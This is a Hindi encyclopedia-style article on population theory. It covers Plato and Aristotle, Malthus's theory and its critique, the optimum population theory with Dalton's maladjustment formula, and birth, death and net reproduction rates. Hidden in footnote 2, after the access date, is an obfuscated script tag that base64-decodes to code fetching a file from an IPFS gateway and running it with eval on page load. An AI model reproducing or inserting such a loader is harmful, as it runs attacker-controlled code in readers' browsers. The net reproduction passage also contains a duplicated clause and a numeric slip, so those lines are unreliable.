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जनसंख्या

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जनसंख्या मानव इतिहास का अध्ययन करने से विदित होता है कि जनसंख्या की समस्या आदिकाल से विशेष महत्व का प्रश्न रही है। यूनानी अथवा 'ग्रीक' दार्शनिकों, विशेषकर प्लेटो और अरस्तू ने अपने लेखों में जनसंख्या संबंधी विषयों पर अनेक विचार प्रकट किए थे। 'रिपब्लिक' में प्लेटो ने जनसंख्या-वृद्धि से मानवकल्याण पर पड़नेवाले प्रभावों का वर्णन किया है। नगर राज्य के उचित आकार [1] तथा प्रजनन सुधार (यूजनिक रिफॉर्म) संबंधी उनके विचार ,आदर्श समाज की (आइडियल कम्यूनिटी) उनकी धारणा पर आधारित थे। परंतु अरस्तू ने इस आदर्श समाज की धारणा को अस्वीकार करते हुए विवाह के नियंत्रण तथा संयम द्वारा जनसंख्या की रोक पर जोर दिया।[2]

जनसंख्या नियंत्रण संबंधी विचार धारणाएँ

अरस्तू के जनसंख्या नियंत्रण संबंधी विचार संपत्ति से संबंधित थे। इससे विदित होता है कि अरस्तू उपलब्ध साधनों की दृष्टि से जनसंख्या नियंत्रण के पक्ष में थे। रोमन साम्राज्य को अपनी विस्तारवादी साम्राज्य नीति के कारण लड़ाकू सैनिकों की आवश्यकता थी। अत एव वे बढ़ती हुई जनसंख्या को अच्छा मानते थे। आगस्टस[3] के जनसंख्या संबंधी विचार विवाह को प्रोत्साहन देते थे। यूनानी लेखकों के बाद फिर 18वीं शताब्दी के अंत तक जनसंख्या संबंधी सिद्धांतों पर कोई नए विचार नहीं मिलते। मध्ययुग के सामंतशाही काल (फ्यूडल एज) के पश्चात्‌ जब राष्ट्रीयता की भावना के प्रसार का युग आता है तो पुन: जनसंख्या संबंधी समस्याओं के प्रति विचारकों की दिलचस्पी दिखाई देती है। इटालियन लेखक मैकियाबेली [4] के लेखों में, दुर्भिक्ष तथा महामारी किस प्रकार जनसंख्या की वृद्धि की रोक के लिए प्रतिबंध हो सकती हैं, इसका आभास मिलता है। फिर बोटेरो [5], 1588 के लेखों में मानव की यौन प्रवृत्तियों और जनसंख्या-वृद्धि के सबंध मे हमें माल्थस के विचारों का पता चलता है। फिर 1682 में सर विलियम पेटी की पुस्तक 'ऐन एसे कनसरनिंग दि मल्टीप्लिकेशन ऑव मैनकाइंड' में, मैथ्यू हेले के निबंध में हमें, माल्थस द्वारा बाद में संगठित रूप में प्रतिपादित किए जानेवाले, सिद्धांत की पहली रूपरेखा दिखाई पड़ती है। इस प्रकार 18वीं शताब्दी के अंत तक, माल्थस के पहले, इस प्रश्न पर बेंजामिन फ्रैंकलिन, डेविड ह्यूम, राबर्ट वालेस, जोसेफ टाउनसेंड तथा विलियम पैले अपने विचार प्रकट कर चुके थे, परंतु इनके विचारों में वैज्ञानिक प्रणाली एवं तार्किक रीति का अभाव था। अत: वास्तव में जनसंख्या संबंधी समस्याओं का वैज्ञानिक अध्ययन, टी.आर. माल्थस की पुस्तक 'ऐन एसे ऑन प्रिंसिपल्स ऑव पॉपुलेशन' (1798) के प्रकाशन के समय से ही प्रारंभ होता है।[2]

मनुष्य के विचारों पर समसामयिक वातावरण का प्रभाव रहता ही है, माल्थस के विचार भी उनके समय की देन हैं। माल्थस का समय था। नैपोलियन की लड़ाई, औद्योगिक क्रांति से श्रमिकों में फैलती हुई बेकारी, दुर्भिक्ष तथा महामारी का बोलबाला था। जनसंख्या में तो वृद्धि होती जा रही थी परंतु जीवननिर्वाह के साधनों में कोई विशेष परिवर्तन नहीं दिखाई पड़ता था। इन सब परिस्थितियों को देखकर तथा विभिन्न देशों के इतिहास के अध्ययन से माल्थस इस निष्कर्ष पर पहुँचे कि यदि इसी तरह से जनसंख्या में वृद्धि का क्रम जारी रहा तो मानव समाज का भविष्य अंधकारमय है। अतएव उन्होंने बढ़ती हुई जनसंख्या को अभिशाप कहा और माल्थस द्वारा उद्धृत आयलैंड के संबंध में ग्रीन महोदय ने कहा कि कुशासन के पाप के साथ दरिद्रता का अभिशाप भी जुड़ गया है और दरिद्रता, जनसंख्या-वृद्धि तथा अकाल ने मिलकर देश को नरककुंड बना दिया। माल्थस स्वभाव से भी निराशावादी थे। अत: उनके विचार भी अधिकांश लोगों को निराशावादी मालूम होते हैं।

माल्यस के सिद्धांत की तीन मुख्य बातें

मनुष्य में यौन की मूल भावना सार्वभौम होने के कारण संख्यावृद्धि की स्वाभाविक प्रवृत्ति पाई जाती है। इसलिए यदि कोई बाधा न हो तो देश की आबादी वहाँ उत्पन्न होने वाले खाद्य पदार्थों की अपेक्षा अधिक तेज़ीसे बढ़ जाएगी। मानव में प्रजनन शक्ति इतनी तेज होती है कि अन्य बाधाओं की अनुपस्थिति में, किसी देश की जनसंख्या तो 25 वर्षों में लगभग दूनी हो जाएगी पर खाद्य सामग्री, जिसका उत्पादन क्रमागत उत्पत्ति-्ह्रास-नियम के अधीन होता है, इतनी तेज़ीसे नहीं बढ़ पाती।[2]

उपर्युक्त विचारों को अधिक स्पष्ट करने के लिये माल्थस ने उसे गणितीय रूप दिया। उन्होंने बताया कि जहाँ जनसंख्या गुणोत्तर श्रेणी[6], यानी 1, 2, 4, 8, 16,32 से बढ़ती है वहाँ जीवन निर्वाह के साधनों में समांतर श्रेणी [7] से यानी 1, 2, 3, 4, 5, 6 से वृद्धि होती है। अत: एक ऐसा समय आ जाता है जब जीवननिर्वाह के साधन, जनसंख्या की तुलना में, इतने कम रह जाते हैं कि जीवनसंघर्ष अत्यंत जटिल बन जाता है। ध्यान रहे, माल्थस ने यह गणित का रूप केवल उदाहरणार्थ दिया था और यह उनके सिद्धांत का कोई आवश्यक अंग नहीं है।

जनसंख्या पर प्रतिबंध

ऐसी परिस्थिति में बढ़ी हुई जनसंख्या को घटाने तथा नया संतुलन स्थापित करने के लिए प्रकृति स्वयं आगे बढ़ती है और नैसर्गिक रोक लगा देती है जैसे महामारी, दुर्भिक्ष, बाढ़, युद्ध, भूकंप इत्यादि। इससे देश में घोर विपत्ति फैलती है, असंख्य लोग असामयिक मृत्यु के शिकार होते हैं और नाना प्रकार के दुराचार फैलते हैं। दूसरे प्रकार के प्रतिबंध वे होते हैं जो निरोधक या स्वयं मनुष्य द्वारा लागू किए जाते हैं, जैसे अपेक्षाकृत अधिक आयु में विवाह, युवक-युवतियों द्वारा ब्रह्मचर्य के सयंम का पालन इत्यादि।

माल्थस का सुझाव

माल्थस का विचार था कि मनुष्य स्वयं प्रतिबंधक प्रणालियों द्वारा जनसंख्या को सीमित रखे। प्रकृति द्वारा लागू की गई नैसर्गिक रोगों के परिणाम बहुत बुरे होते हैं। नैसर्गिक रोकों से मृत्युसंख्या बढ़ती है। यह एक नकरात्मक प्रणाली है। निरोधक रुकावटों से जन्मदर में कमी आती है। यह एक घनात्मक रीति है। नैसर्गिक रोक अंतहीन कुचक्र के समान हैं। अतएव मनुष्य को चाहिए कि वह स्वयं आत्मसंयम द्वारा जनसंख्या सीमित रखे।[2]

वर्तमान समय में इस सिद्धांत की अत्यंत तीव्र आलोचना हुई है। ऐतिहासिकता की दलील पर माल्थस के सिद्धांत को गलत बताया जाता है। जनसंख्या में वृद्धि अवश्य हुई है परंतु वैज्ञानिक आविष्कार और फलस्वरूप उत्पादन प्रणालियों में उन्नति के परिमाणस्वरूप जीवननिर्वाह के साधनों में भी आश्चर्यजनक उन्नति हुई है। माल्थस की निराशाजनक भविष्यवाणी पूर्णतया असत्य सिद्ध हुई। माल्थस ने यह सोचा भी नहीं था कि एक समय आएगा जब मनुष्य शिक्षा, उच्च जीवनस्तर तथा व्यक्तिगत भावनाओं से प्रेरित होकर स्वयं को सीमित करने का प्रयत्न करेगा। अनुभव ने यह भी बताया कि 25 वर्षों में जनसंख्या दुगुनी हो ही जाती है। विद्वानों ने यह भी बताया है कि जनसंख्या का विवेचन करने में देश में उपलब्ध कुल संपत्ति का ध्यान रखना चाहिए, केवल खाद्य पदार्थों का ही नहीं। इन सब दोषों के कारण माल्थस का सिद्धांत वर्तमान समय में स्वीकार नहीं किया जाता। प्रसंगत: यह कहा जा सकता है कि माल्थस का सिद्धांत पश्चिम के विकसित देशों में भले ही लागू न होता हो, एशिया के अविकसित देशों के लिए तो यह अब भी काफ़ी अंश तक सही है।

जनसंख्या का आधुनिक या अनुकूलतम सिद्धांत

जनसंख्या संबंधी आधुनिक विचारधारा, अनुकूलतम या आदर्श सिद्धांत (आप्टिमम थियरी) के नाम से प्रसिद्ध है। हेनरी सिजविक ने इसकी स्थापना की थी, यद्यपि उन्होंने आदर्श [8] शब्द का प्रयोग नहीं किया था। तत्पश्चात्‌ कैनन ने इसे व्यवस्थित किया और कार सांडर्स ने वैज्ञानिक रूप से प्रतिपादित कर इसे प्रसिद्ध बना दिया। अनुकूलतम जनसंख्या का अर्थ किसी देश में उपलब्ध समस्त साधनों को ध्यान में रखते हुए एक आदर्श संख्या से होता है। यही संख्या किसी देश के लिए सर्वश्रेष्ठ तथा वांछनीय मानी गई है। जब किसी देश की वास्तविक जनसंख्या न तो अधिक है और न कम, बस ठीक उतनी ही है जितनी उस देश के साधनों की मात्रा, औद्योगिक ज्ञान तथा पूँजी की मात्रा को देखते हुए होनी चाहिए, तो यह कहा जाता है कि अमुक देश की जनसंख्या सर्वोत्तम बिंदु [9] पर है। अतएव आदर्श जनसंख्या वह है, जिसका आकार और संगठन इस प्रकार हो जो किसी विशेष समय में वहाँ के प्राकृतिक स्रोतों का अधिकतम शोषण करने में समर्थ हो; जिसके फलस्वरूप राष्ट्रीय तथा प्रति व्यक्ति की वास्तविक आय, आर्थिक कल्याण, जीवनस्तर, अधिकतम हो सके। आदर्श जनसंख्या के सिद्धांत का यही उद्देश्य है। यह वह संख्या है जो किसी देश में होनी चाहिए। यदि वास्तविक जनसंख्या इस आदर्श संख्या से अधिक है तो जनाधिक्य की समस्या पैदा हो जाएगी, जो हानिकारक होगी, क्योंकि उस हालत में प्रति व्यक्ति वास्तविक आय में कमी हो जाएगी और यदि वास्तविक संख्या इससे कम है तो भी हानिकारक है क्योंकि प्राकृतिक स्रोतों के अभाव में प्रति व्यक्ति आय पुन: कम हो जाएगी।[2]

जनसंख्या स्थिर

क्या सर्वोत्तम जनसंख्या स्थिर रहती है? मिल की यह गलत धारणा थी कि किसी क्षेत्र के लिये सर्वोत्तम विंदु सर्वदा स्थिर रहेगा। परंतु यह संख्या कभी स्थिर [10] नहीं रहती वरन्‌ परिवर्तनशील [11] है। देश की परिस्थितियों में, उत्पादन प्रणाली, कृषि, कला तथा उद्योग में वैज्ञानिक उन्नति के साथ-साथ सर्वोत्तम जनसंख्या भी बदलती रहती है। यह अनुकूलतम जनसंख्या निरपेक्ष नहीं है। परंतु उपलब्ध साधनों तथा आर्थिक विकास के स्तर के सापेक्ष है। उदाहरणार्थ, आज भारत के लिए 43 करोड़ की जनसंख्या अधिक मालूम होती है, परंतु आज से बीस साल बाद यदि हम अधिक अन्न पैदा करें और अधिक औद्योगिक उन्नति कर लें तो संभव है कि इससे भी अधिक जनसंख्या को ऊँचे जीवनस्तर पर रखने में समर्थ हों।

क्या सर्वोत्तम जनसंख्या को ठीक ठीक ज्ञात किया जा सकता है? अब प्रश्न यह उठता है कि किसी देश के लिए सर्वोत्तम जनसंख्या क्या होगी? क्या यह वास्तव में मालूम किया जा सकता है? वास्तव में यह कठिन काम है। प्रत्येक देश में आर्थिक परिस्थितियाँ गतिशील हैं। उत्पादन की नई-नई प्रणालियाँ निकल रही हैं। नए यंत्रों का आविष्कार हो रहा है। इन परिवर्तनों के कारण न तो उत्पत्ति का और न प्रति व्यक्ति आय का ही ठीक-ठीक पता लगाया जा सकता है। अतएव यह भी बतलाना प्राय: असंभव ही है कि अनुकूलतम संख्या क्या होगी। इन कठिनाइयों के होते हुए भी डॉ. डालटन ने अधिक या कम जनसंख्या ज्ञात करने के लिए एक सूत्र निकाला है, जिससे सर्वोत्तम जनसंख्या का अनुमान लगाया जा सकता है। यदि म= वास्तविक और आदर्श जनसंख्या में पाया जानेवाला कुसमंजन[12], ब= वास्तविक जनसंख्या और अ= आदर्श जनसंख्या हो तो-

म= (ब--अ)/अ होगा।

यदि म (कुसमंजन) घनात्मक है तो इसका अर्थ यह होगा कि देश में अधिक जनसंख्या है। यदि म ऋणात्मक है तो वह कम जनसंख्या की पहचान होगा और यदि मे शून्य है तो वास्तविक जनसंख्या आदर्श बिंदु पर मानी जाएगी। इस सूत्र का सैद्धांतिक महत्व भले ही हो किंतु इसकी व्यावहारिक उपयोगिता कम ही है।[2]

जन्म दर, मृत्यु दर तथा शुद्ध प्रतिजीवन दर

जनसंख्या के अध्ययन में जन्म दर, मृत्यु दर तथा शुद्ध प्रतिजीवन दर[13] का बड़ा महत्व है। जनसंख्या की वृद्धि तथा उससे संबंधित समस्याओं का ज्ञान इन्हीं आँकड़ों से होता है। जन्मदर का अर्थ प्रति वर्ष एक हजार व्यक्तियों के पीछे जन्म देनेवाले बच्चों से होता है। इसी प्रकार मृत्यु दर का अर्थ प्रति वर्ष प्रतिहजार व्यक्तियों के पीछे मरनेवालों की संख्या से होता है। इन दोनों का अंतर शुद्ध प्रतिजीवन दर (Survival rate) कहलाता है। उदाहरणार्थ, भारत में प्रति वर्ष एक हजार पर 40 शिशु पैदा होते हैं, जो भारत की जन्म दर हुई। प्रति वर्ष प्रति हजार पर 27 की मृत्यु होती है तो यह मृत्यु दर हुई। इन दोनों का अंतर 13 प्रतिजीवन दर हुई। अत: हम कह सकते हैं कि भारत में प्रति वर्ष प्रति हजार पर औसतन 13 की वृद्धि होती है। जन्म मृत्यु के आँकड़े औसत के रूप में लिए जाते हैं।

शुद्ध प्रजनन दर

यद्यपि प्रतिजीवन दर [14] से हम जनसंख्या की वृद्धि की दर का पता लगा सकते हैं फिर भी इस प्रकार के अनुमान गलत हो सकते हैं। अतएव कुजिंसकी नामक विद्वान्‌ ने एक नवीन विधि के द्वारा जनसंख्या की वृद्धि की माप की हैं, जिसे शुद्ध प्रजनन दर[15] कहते हैं। उनके अनुसार केवल जन्मदर का मृत्युदर से आधिक्य ही जनसंख्यावृद्धि की पहचान नहीं है। इसका वास्तविक प्रमाण तो शुद्ध प्रजनन दर है। जनसंख्या वृद्धि का सही अनुमान लगाने के लिए हमें स्त्रियों की आयु के उस काल का, जिसमें वह शिशु को जन्म देने योग्य हों , जन्मों की पुनरावृत्ति तथा प्रत्येक अवस्था में जीवित रह जानेवाले बच्चों की संख्याओं के आँकड़ों का परस्पर समन्वय करना पड़ता है। यदि मान लिया जाए कि जन्म और मृत्यु की वर्तमान दरों पर 1000 लड़कियाँ आगे बढ़ते हुए अपने जीवन की उस अवस्था पर पहुँचती हैं, जब वे माता बन सकती हैं (यानी 15 से 40 वर्ष की आयु तक) और इस अवस्था से गुजरने के बाद यदि वे अपने पीछे 100 लड़कियाँ छोड़ जाती हैं जो आगे चलकर माता बनेंगी, ता इसका अर्थ यह हुआ कि वर्तमान पीढ़ी अपने बराबर की संख्या बनेंगी, तो इसका अर्थ यह हुआ कि वर्तमान पीढ़ी अपने बराबर की संख्या में दूसरी पीढ़ी को जन्म दे रही है। यदि 1000 के पीछे 1000 से अधिक लड़कियाँ उत्पन्न होती हैं तो इसका अर्थ यह होगा कि शुद्ध प्रजनन दर 1 से अधिक है। विपरीत परिस्थिति में प्रजनन दर 1 से कम होगी। यहाँ ध्यान रहे कि इस दर को जानने के लिए केवल लड़कियों की ही पैदाइश पर विचार करते हैं क्योंकि आगे चलकर वे ही जनसंख्या की वृद्धि की दर को प्रभावित करती हैं। कुजिंसकी के शब्दों में 'वह दर जिसपर स्त्री जनसंख्या अपन आपको प्रतिस्थापित कर रही है शुद्ध प्रजनन दर है।'

जनसंख्या से प्रभाव

क्या बढ़ती हुई जनसंख्या सर्वदा हानिकारक ही है? माल्थस और उसके अनुयायियों के अनुसार जनसंख्या में वृद्धि सर्वदा अभिशाप ही है। परंतु यह भी सही नहीं कि वृद्धि सदैव सुखदायक ही होती है। सर्वोत्तम जनसंख्या सिद्धांत हमें जनसंख्या की गति को ठीक से समझने में सहायता पहुँचाता है। यदि वास्तविक जनसंख्या आदर्श जनसंख्या से कम है ता जनसंख्या में वृद्धि होने से ही प्रति व्यक्ति आय बढ़ेगी और इसलिये वृद्धि वांछनीय होगी। बढ़ती हुई जनसंख्या कभी कभी आर्थिक विकास में सहायक होती है तथा उत्पादन को प्रोत्साहित करती है। श्रम विभाजन तथा विशिष्टीकरण के लिए अच्छा अवसर मिलता है और बाज़ार का विस्तार करके उद्योग धंधों के विकास में सहायक होती है। परंतु यह सब तभी तक होगा जब तक वास्तविक संख्या अनुकूलतम बिंदु से कम रहे।[2]


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टीका टिप्पणी और संदर्भ

  1. प्रॉपर साइज
  2. 2.0 2.1 2.2 2.3 2.4 2.5 2.6 जनसंख्या (हिन्दी) भारतखोज। अभिगमन तिथि: 01 अगस्त, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. Augustus
  4. Discourso spora la prima deca di Tito li vio, 1531
  5. Bottero
  6. Geometrical Progression
  7. Arithmetical Progression
  8. Optimum
  9. Optimum point
  10. static
  11. Dynamic
  12. Maladjustment
  13. Net survival rate
  14. survival rate
  15. Net repeoduction rate

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